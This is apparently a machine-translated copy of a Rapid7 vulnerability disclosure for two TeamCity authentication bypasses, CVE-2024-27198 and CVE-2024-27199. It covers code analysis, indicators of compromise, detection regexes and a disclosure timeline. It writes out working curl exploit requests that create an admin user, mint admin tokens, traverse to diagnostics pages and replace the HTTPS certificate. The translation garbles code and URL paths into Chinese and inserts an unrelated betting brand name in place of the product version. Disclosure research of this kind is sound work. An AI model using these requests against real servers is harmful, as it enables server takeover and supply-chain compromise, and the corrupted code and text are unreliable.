最后更新于2024年3月5日星期二22:21:55 GMT

Overview

2024年2月, Rapid7的漏洞研究团队发现了两个影响JetBrains TeamCity CI/CD服务器的新漏洞:

  • CVE-2024-27198 是TeamCity web组件中的身份验证绕过漏洞,该漏洞是由替代路径问题(CWE-288)并且具有9的CVSS基本分数.8 (Critical).
  • CVE-2024-27199 是TeamCity web组件中的身份验证绕过漏洞,由路径遍历问题引起(CWE-22)并且具有7的CVSS基本分数.3 (High).

3月4日,Rapid7注意到JetBrains 发布固定版本 在没有通知Rapid7修复程序已经实施并且普遍可用的情况下,他们就开始攻击TeamCity. 当Rapid7联系JetBrains关于他们不协调的漏洞披露时,JetBrains 发表咨询意见 没有回应Rapid7的披露时间表. JetBrains随后回应称,cve已经发布.

这些问题是由Stephen less发现的, Rapid7的首席安全研究员, 并按照规定予以披露 Rapid7的漏洞披露策略.

Note: JetBrains发布了2023年的博客.11.4似乎根据读者所在的时区显示不同的出版日期. 有些读者认为是3月3日发布的,有些读者则认为是3月4日发布的. 我们已经修改了上面的语言,以说明Rapid7在3月4日看到了发布博客, 不管它是什么时候发布的.

Impact

这两个漏洞都是身份验证绕过漏洞, 其中最严重的, CVE-2024-27198, 允许远程未经身份验证的攻击者完全破坏易受攻击的TeamCity服务器, 包括未经认证的RCE, 正如我们的漏洞所展示的:

破坏TeamCity服务器允许攻击者完全控制所有TeamCity项目, builds, 代理和工件, 因此,这是一个合适的向量来定位攻击者来执行供应链攻击.

第二个漏洞, CVE-2024-27199, 允许有限数量的信息披露和有限数量的系统修改, 包括未经身份验证的攻击者可以用攻击者选择的证书替换易受攻击的TeamCity服务器中的HTTPS证书.

Remediation

2024年3月3日,JetBrains发布了《ladbrokes立博中文版》.11.4修复CVE-2024-27198和CVE-2024-27199. 这两个漏洞都会影响2023年之前所有版本的TeamCity.11.4.

有关如何升级的更多详细信息,请阅读 JetBrains发布博客. Rapid7建议TeamCity客户立即更新他们的服务器, 无需等待常规补丁周期发生. 我们在下面包含了入侵(ioc)的示例指标以及漏洞详细信息.

Analysis

CVE-2024-27198

Overview

默认情况下,TeamCity通过HTTP端口8111公开web服务器(可以选择配置为通过HTTPS运行)。. 攻击者可以制作一个URL,以避免所有身份验证检查, 允许意图进行身份验证的端点被未经身份验证的攻击者直接访问. 远程未经身份验证的攻击者可以利用这一点来完全控制易受攻击的TeamCity服务器.

Analysis

脆弱性在于 jetbrains.buildServer.controllers.BaseController 类处理某些请求. 类中实现该类 web-openapi.jar library. 方法处理请求时,我们可以在下面看到 handleRequestInternal method in the BaseController 类,如果请求没有被重定向(i.e. (处理程序没有发出HTTP 302重定向),然后 updateViewIfRequestHasJspParameter 方法将调用.

公共抽象类BaseController扩展AbstractController {
    
    // ...snip...
    
    handleRequestInternal(HttpServletRequest请求, HttpServletResponse)抛出异常{
        try {
            ModelAndView =这个.doHandle(请求、响应);
            如果(modelAndView != null) {
                如果(modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(请求,modelAndView);
                }
            }
            // ...snip...

In the updateViewIfRequestHasJspParameter 方法列出如下,我们可以看到变量 isControllerRequestWithViewName 将设置为true,如果当前 modelAndView 有名称,并且当前请求的servlet路径不以?结尾 .jsp.

我们可以通过从服务器请求一个生成HTTP 404响应的URI来满足这一点. 这样的请求将生成servlet路径 /404.html. 我们可以注意到它的结尾是 .html and not .jsp, so the isControllerRequestWithViewName will be true.

接下来我们可以看到方法 getJspFromRequest 将被调用,这个调用的结果将被传递给Java Spring框架 ModelAndView.setViewName method. 这样做的结果是,攻击者可以更改控件正在处理的URL DispatcherServlet的内容,从而允许攻击者调用任意端点 jspFromRequest variable.

updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest请求, @NotNull ModelAndView ModelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath ().endsWith(".jsp");
        
    字符串jspFromRequest =这个.getJspFromRequest(请求);
        
    如果(isControllerRequestWithViewName && StringUtil.isNotEmpty (jspFromRequest) && !modelAndView.getViewName().= (jspFromRequest)) {
        modelAndView.setViewName (jspFromRequest);
    }
}

要了解攻击者如何指定任意端点,我们可以检查 getJspFromRequest method below.

此方法将检索HTTP参数的字符串值 jsp 从当前请求. 将测试该字符串值,以确保它以。结尾 .jsp 并且不包含受限制的路径段 admin/.

getJspFromRequest(@NotNull HttpServletRequest请求){
    字符串jspFromRequest =请求.getParameter (jsp);
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.包含(“admin /”) ? jspFromRequest: null;
}

触发漏洞

为了了解如何利用这个漏洞,我们可以以一个示例端点为目标. The / app / rest /服务器 端点将返回当前服务器版本信息. 如果我们直接请求这个端点,请求将会失败,因为请求没有经过身份验证.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111 / app / rest /服务器
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
认证:基本领域="TeamCity"
WWW-Authenticate:承载领域="TeamCity"
cache - control:不是商店
内容类型:文本/平原;charset = utf - 8
传输编码:分块
日期:2024年2月14日(星期三)17:20:05 GMT

认证要求
手动登录到“/login”.html" page

要利用此漏洞成功调用经过身份验证的端点 / app / rest /服务器, 在HTTP(S)请求期间,未经身份验证的攻击者必须满足以下三个要求:

  • 请求未经身份验证的资源,生成404响应. 这可以通过请求一个不存在的资源来实现.g.:
    • /hax
  • 传递一个名为jsp的HTTP查询参数,其中包含经过身份验证的URI路径的值. 这可以通过附加一个HTTP查询字符串来实现.g.:
    • ?jsp = / app / rest /服务器
  • 确保任意URI路径以 .jsp. 这可以通过附加HTTP路径参数段e来实现.g.:
    • ;.jsp

结合上述需求,攻击者的URI路径变为:

/hax?jsp = / app / rest /服务器;.jsp

通过使用认证绕过漏洞, 我们可以在没有身份验证的情况下成功调用这个经过身份验证的端点.

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp = / app / rest /服务器;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
cache - control:不是商店
内容类型:application / xml; charset = iso - 8859 - 1
内容语言:en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT


如果我们附加一个调试器,我们可以看到调用 ModelAndView.setViewName 中指定的经过身份验证的端点发生 jspFromRequest variable.

Exploitation

攻击者可以通过多种方式利用此身份验证绕过漏洞来控制易受攻击的TeamCity服务器, 通过联想, all projects, builds, 与服务器关联的代理和构件.

For example, 未经身份验证的攻击者可以使用攻击者控制的密码创建新的管理员用户, 通过瞄准 / app / rest /用户 REST API端点:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp=/ app / rest /用户;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
cache - control:不是商店
内容类型:application / xml; charset = iso - 8859 - 1
内容语言:en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT


我们可以通过查看web界面中的TeamCity用户来验证恶意管理员用户已经创建:

Alternatively, 未经身份验证的攻击者可以使用以下请求生成新的管理员访问令牌:

C:\Users\sfewer>curl -ik http://172.29.228.65:8111/hax?jsp = / app / rest /用户/ id: 1 /令牌/ HaxorToken;.jsp -X POST
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
cache - control:不是商店
内容类型:application / xml; charset = iso - 8859 - 1
内容语言:en-IE
内容长度:241
日期:2024年2月14日(星期三)17:37:26 GMT


我们可以通过查看web界面中的TeamCity令牌来验证恶意访问令牌已经创建:

通过创建一个新的管理员用户帐户, 或者生成管理员访问令牌, 攻击者现在完全控制了目标TeamCity服务器.

IOCs

默认情况下,TeamCity日志文件位于 C: \ TeamCity \ logs \ on Windows and / / opt / TeamCity /日志 on Linux.

访问令牌创建

利用此漏洞访问资源可能会在 teamcity-javaLogging log file (e.g. teamcity - javalogging - 2024 - 02年- 26所示.log),与以下内容类似:

2月26日—- 2024 07:11:12.794 WARNING [http://ni-8111-ex.1] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters一个servlet请求,到URI http://192.168.86.68:8111 / app / rest /用户/ id: 1 /令牌/ 2 vrfliqo;.jsp?jsp = / app / rest /用户/ id % 3 a1 /令牌/ 2 vrfliqo % 3 b.jsp, 在请求体中包含表单参数,但请求体已被访问请求参数的servlet或servlet过滤器使用. 只有使用@FormParam的资源方法才能按预期工作. 通过其他方式使用请求体的资源方法将无法按预期工作.

在上面的例子中, 攻击者利用该漏洞访问REST API并创建新的管理员访问令牌. 在这样做时,该日志文件现在包含一个条目,详细说明在调用后处理的URL ModelAndView.setViewName. 请注意,此记录的URL是重写的URL,而不是攻击者请求的URL. 我们可以看到URL包含字符串 ;.jsp 以及一个查询参数 jsp= 哪一个指示了漏洞. 注意,攻击者可以在 .jsp part, e.g. ;XXX.jsp,并且可能存在其他查询参数,并且以任何顺序,例如.g. foo=XXX&jsp=. 考虑到这一点,一个更复杂的记录恶意请求的例子是:

2024年- 2月27日07:15:45.191 WARNING [TC: 07:15:45 Processing REST request; http-nio-80-exec-5] com.sun.jersey.spi.container.servlet.WebComponent.filterFormParameters一个servlet请求,到URI http://192.168.86.50 / app / rest /用户/ id: 1 /令牌/ wo4qEmUZ; O.jsp?WkBR = OcPj9HbdUcKxH3O&pKLaohp7 = d0jMHTumGred&jsp = / app / rest /用户/ id % 3 a1 /令牌/ wo4qEmUZ % 3波.jsp&ja7U2Bd = nZLi6Ni, 在请求体中包含表单参数,但请求体已被访问请求参数的servlet或servlet过滤器使用. 只有使用@FormParam的资源方法才能按预期工作. 通过其他方式使用请求体的资源方法将无法按预期工作.

类中重写的URI匹配的合适正则表达式 teamcity-javaLogging 日志文件将是 ;\S*\.jsp\?\S*jsp= 而正则表达式 \/\S*\?\S*jsp=\S*;\.jsp 将匹配重写的URI和攻击者的原始URI(尽管不知道原始URI将被记录到哪里)。.

如果攻击者利用该漏洞创建访问令牌, 令牌可能已被删除. Both the teamcity-server.log and the teamcity-activities.log 会包含下面一行来表示这个吗. 我们可以看到令牌名称被删除 2vrflIqo (攻击者选择的随机字符串)对应于创建的令牌名称, 中的警告消息所示 teamcity-javaLogging log file.

[24-02-26 07:11:25 . 702] [au:.buildServer.ACTIVITIES.AUDIT - delete_token_for_user:由user with id=1删除用户user with id=1的token 2vrflIqo
恶意插件上传

如果攻击者上传了恶意插件以实现任意代码的执行,则 teamcity-server.log and the teamcity-activities.log 可能包含以下几行, 表示插件被上传并随后被快速连续删除, 并使用与初始访问令牌创建相同的用户帐户进行身份验证.g. ID 1).

[24-02-26 07:11:13 . 304] [au:.buildServer.ACTIVITIES.审计- plugin_upload:插件“WYyVNA6r”由“用户id=1”更新,评论“插件上传到C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r”.zip"
[24-02-26 07:11:24 . 506] [au:.buildServer.ACTIVITIES.审计- plugin_disable:插件“WYyVNA6r”被“用户id=1”禁用
[24-02-26 07:11:25 . 683] [au:.buildServer.ACTIVITIES.审计- plugin_deleted:插件"WYyVNA6r"被"用户id=1"删除评论"插件被删除从C:\ProgramData\JetBrains\TeamCity\plugins\WYyVNA6r.zip"

攻击者上传的恶意插件可能在TeamCity Catalina文件夹中留下了工件, e.g. C: \ TeamCity \ \工作卡特琳娜\ localhost \ \ TC_147512_WYyVNA6r \根源 on Windows or / opt / TeamCity /工作/卡特琳娜/ localhost /根/ TC_147512_WYyVNA6r / on Linux. 插件名 WYyVNA6r 是否已形成文件夹名称的一部分 TC_147512_WYyVNA6r. The number 147512 TeamCity服务器的构建号是多少.

在webapps插件文件夹中可能还有插件工件.g. C: \ TeamCity \ webapps \ ROOT \ plugins \ WYyVNA6r \ on Windows or / opt / TeamCity / webapps /根/插件/ WYyVNA6r / on Linux.

例如,在TeamCity数据目录中可能会保留一些工件 C: \ ProgramData \ JetBrains \ TeamCity \ \ system \缓存插件.打开\ WYyVNA6r \ on Windows, or /home/teamcity/.BuildServer /系统/缓存插件.打开/ WYyVNA6r / on Linux.

插件必须先禁用才能删除. 禁用插件会在 disabled-plugins.xml 配置文件(e).g. C: \ ProgramData \ JetBrains \ TeamCity \ config \ disabled-plugins.xml on Windows):




  


攻击者可以选择他们创建的两个访问令牌的名称, 还有他们上传的恶意插件. 上面的例子使用了随机字符串 2vrflIqo 对于访问令牌,和 WYyVNA6r for the plugin. 攻击者可能已经成功地从他们的恶意插件中删除了所有工件.

TeamCity管理控制台有一个Audit页面,该页面将显示服务器上发生的活动. 删除一个访问令牌, 并且插件的上传和删除将在审计日志中被捕获, for example:

该审计日志存储在内部数据库数据文件中 buildserver.data (e.g. C: \ ProgramData \ \ buildserver JetBrains \ TeamCity \系统.data on Windows or /home/teamcity/.BuildServer /系统/ BuildServer.data on Linux).

创建管理员帐户

识别可能已创建的意外用户帐户, 检查TeamCity管理控制台的Audit页面,查看新创建的帐户.

Both the teamcity-server.log and the teamcity-activities.log 可能包含已创建新用户帐户的条目. 记录的信息不足以确定创建的用户帐户是恶意的还是良性的.

[2024-02-26 07:45:06,962] [au:.buildServer.ACTIVITIES -新用户创建:用户id=23
[24-02-26 07:45:06 . 962] [au:.buildServer.ACTIVITIES.审计- user_create:用户User with id=23是由User with id=23创建的

CVE-2024-27199

Overview

我们还在TeamCity web服务器中发现了第二个身份验证绕过漏洞. 这种身份验证绕过允许在没有身份验证的情况下到达有限数量的已验证端点. 未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置, 以及从服务器上泄露有限数量的敏感信息.

Analysis

已经确定了几个易受路径遍历问题影响的路径,该问题允许未经身份验证的攻击者成功到达有限数量的经过身份验证的端点. 这些路径包括但不限于:

  • /res/
  • /update/
  • /.众所周知/ acme-challenge /

我们发现,通过利用上述路径, 攻击者可以使用双点路径段遍历到另一个端点, 并且不会强制执行身份验证检查. 我们能够成功到达泄漏信息的有限数量的JSP页面, 还有几个servlet端点,它们既泄露信息,又允许修改系统设置. 这些终点是:

  • /应用程序/ availableRunners
  • / app / http /设置/ setPort
  • / app / http /设置/ certificateInfo
  • / app / http /设置/ defaultHttpsPort
  • / app / http /设置/ fetchFromAcme
  • / app / http /设置/ removeCertificate
  • / app / http /设置/ uploadCertificate
  • / app / http /设置/ termsOfService
  • / app / http /设置/ triggerAcmeChallenge
  • / app / http /设置/ cancelAcmeChallenge
  • / app / http /设置/ getAcmeOrder
  • / app / http /设置/ setRedirectStrategy
  • /app/pipeline
  • / app / oauth /空间/ createBuild.html

例如,未经身份验证的攻击者应该无法访问/管理/诊断.JSP端点,如下所示:

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111 / admin /诊断.jsp
HTTP/1.1 401
TeamCity-Node-Id: MAIN_SERVER
认证:基本领域="TeamCity"
WWW-Authenticate:承载领域="TeamCity"
cache - control:不是商店
内容类型:文本/平原;charset = utf - 8
传输编码:分块
日期:2024年2月15日星期四13:00:40 GMT

认证要求
手动登录到“/login”.html" page

但是,通过使用路径 /res/../管理/诊断.jsp, 未经身份验证的攻击者可以成功到达此端点, 泄露了一些关于TeamCity安装的信息. 注意,为简洁起见,编辑了下面的输出.

C:\Users\sfewer>curl -ik --path-as-is http://172.29.228.65:8111/res/../管理/诊断.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          
Java version: 17.0.7
Java VM info: OpenJDK 64-Bit Server VM
Java Home path: c:\TeamCity\jre
Server: Apache Tomcat/9.0.83
JVM arguments:
--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M——add- opened =java.base/java.lang = ALL-UNNAMED——add-opens = java.base/java.io = ALL-UNNAMED——add-opens = java.base/java.util = ALL-UNNAMED——add-opens = java.base/java.util.并发java = ALL-UNNAMED——add-opens =.rmi/sun.rmi.运输= ALL-UNNAMED -Djava.util.logging.config.文件= c: \ TeamCity \ bin \..\conf\logging.属性-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize = 2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib: jdwp = = dt_socket运输,server=y,address=4444,暂停=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../ conf / teamcity-startup.属性-Dlog4j2.configurationFile =文件:../ conf / teamcity-server-log4j.xml -Dteamcity_logs = c: \ TeamCity \ bin \..\logs -Dignore.endorsed.dirs = -Dcatalina.基础= c: \ TeamCity \ bin \.. -Dcatalina.家= c: \ TeamCity \ bin \.. -Djava.io.tmpdir = c: \ TeamCity \ bin \..\temp 

对端点的请求 /.众所周知/ acme-challenge /../../管理/诊断.jsp or /update/../管理/诊断.jsp 也会达到同样的效果吗.

另一个有趣的目标端点是 / app / http /设置/ uploadCertificate endpoint. 这允许未经身份验证的攻击者将攻击者选择的新HTTPS证书上传到目标TeamCity服务器, 以及更改HTTPS服务侦听的端口号. 例如,我们可以使用以下命令生成自签名证书:

C:\Users\sfewer\Desktop>openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem

C:\Users\sfewer\Desktop>openssl ec -in private-eckey.Pem -pubout -out public-key.pem
read EC key
writing EC key

C:\Users\sfewer\Desktop>openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
您将被要求输入将被合并的信息
在证书请求中.
您将要输入的是所谓的专有名称或DN.
有相当多的字段,但你可以留下一些空白
对于一些字段,将有一个默认值,
If you enter '.,该字段将保持空白.
-----
国家名称(2字母代码)[AU]:US
州或省名(全名)[Some-State]:HaxorState
地区名称(如城市)[]:HaxorCity
组织名称(如公司)[Internet widgets Pty Ltd]:HaxorOrganization
组织单位名称(例如,section) []:HaxorUnit
Common Name (e.g. 服务器FQDN或您的名称)[]:目标.server.com
邮箱地址[]:

C:\Users\sfewer\Desktop>openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

未经身份验证的攻击者可以使用路径执行POST请求 /res/../ app / http /设置/ uploadCertificate ,以便上传新的HTTPS证书.

C:\Users\Administrator\Desktop>curl -vk --path-as-is http://172.29.228.65:8111/res/../ app / http /设置/ uploadCertificate -X POST -H "Accept: application/json" -F certificate=@hax.-F key=@hax . pem.key -F port=4141
注意:不必要地使用-X或——request, POST已经被推断出来.
*   Trying 172.29.228.65:8111...
*连接到172.29.228.65 (172.29.228.65)端口8111 (#0)
> POST /res/../应用程序/ uploadCertificate HTTP / http /设置/ 1.1
> Host: 172.29.228.65:8111
> User-Agent: curl/7.83.1
> Accept: application/json
> Content-Length: 1591
> Content-Type: multipart/form-data; boundary=------------------------cdb2a7dd5322fcf4
>
*我们完全上传好了
*将bundle标记为不支持多用途
< HTTP/1.1 200
< X-Frame-Options: sameorigin
< Strict-Transport-Security: max-age=31536000;
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Referrer-Policy: origin-when-cross-origin
< mixed-content: noupgrade
< TeamCity-Node-Id: MAIN_SERVER
< Content-Type: application/json
< Content-Length: 0
< Date: Thu, 15 Feb 2024 14:06:02 GMT
<
*连接#0到主机172.29.228.65 left intact

如果我们登录TeamCity服务器, 我们可以验证HTTPS证书和端口号已经修改.

攻击者可以通过将HTTPS端口号更改为客户端不期望的值来对TeamCity服务器执行拒绝服务, 或者通过上传将无法通过客户端验证的证书. Alternatively, 在网络中处于适当位置的攻击者可能能够对客户端连接执行窃听或中间人攻击, 如果攻击者上传的证书(并拥有私钥)将受到客户端的信任.

Rapid7客户

InsightVM和exposure的客户可以在3月4日发布的内容中使用经过验证的漏洞检查来评估他们对CVE-2024-27198和CVE-2024-27199的暴露程度.

通过Rapid7扩展的检测规则库,insighttidr和管理检测和响应客户已经拥有了现有的检测覆盖范围. Rapid7建议在所有适用的主机上安装Insight Agent,以确保对可疑进程的可见性和适当的检测覆盖率. 以下是部署的检测和对与这些漏洞相关的活动发出警报的非详尽列表:

  • 可疑Web请求- JetBrains TeamCity CVE-2024-27198漏洞利用
  • 可疑Web请求- JetBrains TeamCity CVE-2024-27199利用

Rapid7实验室有实验Sigma规则 available here.

Timeline

  • 2024年2月15日: Rapid7通过电子邮件与JetBrains进行初步接触.
  • 2024年2月19日: Rapid7通过电子邮件与JetBrains进行了第二次联系. JetBrains认可外联服务.
  • 2024年2月20日: Rapid7 provides JetBrains with a technical analysis of the issues; JetBrains confirms they were able to reproduce the issues the same day.
  • 2024年2月21日: JetBrains保留CVE-2024-27198和CVE-2024-27199. JetBrains建议在公开披露问题之前私下发布补丁. Rapid7对此作出回应,强调协调披露的重要性和我们反对的立场 默默的打补丁 vulnerabilities.
  • 2024年2月22日: JetBrains要求Rapid7提供更多关于什么是静默补丁的信息.
  • 2024年2月23日: Rapid7重申我们的 信息披露政策发送给JetBrains我们的 关于无声修补的材料. Rapid7要求提供有关受影响产品版本号和其他缓解指导的更多信息.
  • March 1, 2024: Rapid7重申之前的请求,即提供有关受影响产品版本和供应商缓解指导的更多信息.
  • March 1, 2024: JetBrains确认哪些cve将被分配给漏洞. JetBrains表示,他们“仍在调查这个问题”, its root cause, 以及受影响的版本,“他们希望下周会有Rapid7的更新”.”
  • March 4, 2024: Rapid7指出,JetBrains 发表了一篇博客 宣布发布《ladbrokes立博中文版》.11.4. 在查看了该版本后,Rapid7确认JetBrains已经修补了这些漏洞. Rapid7联系了JetBrains,表达了在没有通知或与我们团队协调的情况下发布补丁的担忧, 而且没有发布安全问题的建议. 注:在3月5日的私人邮件中, JetBrains要求Rapid7更新本博客中的漏洞披露时间表,以反映安全建议在TeamCity 2023之后不久可用.11.4 was released. JetBrains告诉Rapid7,他们没有在最初的发布博客中包含安全信息,因为他们已经发布了一篇文章 separate blog 关于安全问题. Notably, 时间表通常是商定的,并且在发布前将关注的问题作为协调的漏洞披露的一部分加以解决.
    March 4, 2024: Rapid7重申我们的 漏洞披露策略, 其中规定:“如果Rapid7在向责任组织报告问题后意识到更新已普遍可用, including silent patches 它倾向于劫持CVD规范,Rapid7将致力于发布漏洞细节 24小时内.Rapid7还询问JetBrains是否计划发布包含CVE信息的咨询.
  • March 4, 2024: JetBrains 发布博客 关于安全问题(CVE-2024-27198和CVE-2024-27199). JetBrains随后回应称,他们已经向cve发布了一份咨询报告, 和cve也包含在发行说明中. JetBrains没有对Rapid7未经协调的披露做出回应.
  • March 4, 2024: 这种披露.

Updates

March 5, 2024: Updated with detection information for InsightIDR and Rapid7 MDR customers; information also added on availability of experimental Sigma rules.

March 5, 2023: JetBrains has published an additional blog post on their disclosure of these vulnerabilities; in the blog post 他们表示,他们有意将Rapid7排除在信息披露之外.

March 5, 2024: 在3月5日的一封私人邮件中, JetBrains要求Rapid7更改本博客中的漏洞披露时间表,以反映安全建议在TeamCity 2023之后不久可用.11.4 was released. JetBrains告诉Rapid7,他们没有在最初的发布博客中包含安全信息,因为他们已经发布了一篇文章 separate blog 关于安全问题. Notably, 时间表通常是商定的,并且在发布前将关注的问题作为协调的漏洞披露的一部分加以解决.

Note: 当Rapid7询问为何TeamCity的发布博客显示的发布日期是3月3日时, JetBrains表示,他们的博客通过日期函数在浏览器的客户端设置发布日期, 但是当它转换日期时, 它总是使用UTC“3”的一个小时, or 3 AM UTC. 根据他们的团队,这就是最初的TeamCity发行的原因 blog 从北美用户的角度来看,它是在3月3日发布的,而不是3月4日.